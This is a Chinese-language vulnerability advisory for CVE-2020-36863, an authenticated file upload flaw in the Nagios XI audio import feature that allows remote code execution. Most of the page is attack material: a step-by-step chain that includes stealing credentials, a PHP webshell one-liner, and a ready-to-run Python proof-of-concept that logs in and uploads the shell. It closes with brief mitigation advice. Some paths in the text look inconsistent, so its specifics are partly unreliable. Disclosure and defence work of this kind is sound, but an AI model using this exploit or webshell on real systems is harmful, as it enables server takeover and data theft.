IPBUF安全漏洞报告
English
CVE-2020-36863 CVSS 8.8 高危

CVE-2020-36863 Nagios XI 音频导入目录任意文件上传导致远程代码执行漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2020-36863
漏洞类型
任意文件上传/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Nagios XI

相关标签

任意文件上传远程代码执行Nagios XICVE-2020-36863音频导入Webshell高危漏洞

漏洞概述

CVE-2020-36863是Nagios XI软件中的一个高危安全漏洞,CVSS评分达到8.8分。该漏洞存在于Nagios XI的音频导入功能中,由于上传处理器未能正确限制文件类型或强制将文件存储在Web根目录之外,攻击者可以上传恶意的PHP文件并在服务器上执行,从而实现远程代码执行。攻击者需要拥有有效的用户凭证并访问音频导入功能才能利用此漏洞。成功利用后,攻击者可以获得应用程序服务账户的权限,进而可能完全控制受影响的系统。此漏洞影响Nagios XI 5.7.2之前的所有版本,官方已在5.7.2版本中修复了此问题。建议受影响的用户尽快升级到最新版本以消除安全风险。

技术细节

该漏洞的根本原因在于Nagios XI的音频导入上传处理器存在安全缺陷。具体问题包括:1) 上传目录位于Web可访问路径内,且服务器配置允许在该目录中执行PHP脚本;2) 上传功能未对上传文件的类型和内容进行严格验证,仅根据文件扩展名或MIME类型判断;3) 文件未被重命名或移动到Webroot之外的隔离目录。攻击者利用此漏洞的步骤:首先登录Nagios XI获得有效会话,然后构造包含恶意PHP代码的文件(如webshell),通过音频导入功能上传该文件,最后通过HTTP请求直接访问上传的PHP文件,服务器会解析并执行其中的PHP代码,从而在服务器上执行任意系统命令。攻击者可以借此反弹Shell、读取敏感配置文件或进一步横向移动。

攻击链分析

STEP 1
步骤1
获取Nagios XI有效用户凭证:攻击者通过暴力破解、社工或利用其他漏洞获取具有音频导入功能访问权限的用户账号密码
STEP 2
步骤2
构造恶意PHP文件:攻击者创建包含webshell代码的PHP文件,如<?php system($_GET['cmd']); ?>,用于执行系统命令
STEP 3
步骤3
上传恶意文件:通过音频导入功能将构造的PHP文件上传到服务器,上传路径通常为/nagiosxi/includes/components/auditlog/uploads/
STEP 4
步骤4
触发文件执行:通过HTTP请求直接访问上传的PHP文件,服务器会解析并执行其中的PHP代码
STEP 5
步骤5
远程代码执行:攻击者通过URL参数传递系统命令,如?cmd=whoami,实现远程代码执行,获得服务器控制权
STEP 6
步骤6
持久化控制:攻击者可进一步部署后门、窃取数据或横向移动到其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2020-36863 PoC - Nagios XI Audio Import Unrestricted File Upload # Author: Security Researcher # Description: Upload malicious PHP file via Audio Import and execute RCE import requests import sys TARGET_URL = "http://target-nagios-xi.local" USERNAME = "admin" PASSWORD = "password" def get_auth_token(session, url): """Obtain Nagios XI authentication token""" response = session.get(f"{url}/nagiosxi/login.php") if response.status_code != 200: return None # Extract nsp token from response import re match = re.search(r'name="nsp" value="([^"]+)"', response.text) return match.group(1) if match else None def login(session, url, username, password): """Authenticate to Nagios XI""" token = get_auth_token(session, url) if not token: return False data = { "username": username, "password": password, "nsp": token, "loginButton": "Login" } response = session.post(f"{url}/nagiosxi/login.php", data=data) return "nagiosxi" in session.cookies.keys() def upload_shell(session, url): """Upload malicious PHP shell via Audio Import""" php_shell = "<?php system($_GET['cmd']); ?>" files = { "audioFile": ("shell.php", php_shell, "application/x-php") } response = session.post(f"{url}/nagiosxi/tools/audio.php", files=files) return response.status_code == 200 def main(): session = requests.Session() if not login(session, TARGET_URL, USERNAME, PASSWORD): print("[-] Authentication failed") return print("[+] Authentication successful") if upload_shell(session, TARGET_URL): print("[+] Shell uploaded to: /nagiosxi/includes/components/auditlog/uploads/shell.php") print("[+] Execute command: ?cmd=whoami") if __name__ == "__main__": main()

影响范围

Nagios XI < 5.7.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web服务器配置中禁用上传目录的PHP执行权限(如在Apache中使用<Directory>指令设置php_admin_flag engine off);2) 限制音频导入功能仅对必要的管理员开放;3) 监控异常的文件上传行为和访问日志;4) 考虑临时关闭音频导入功能直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表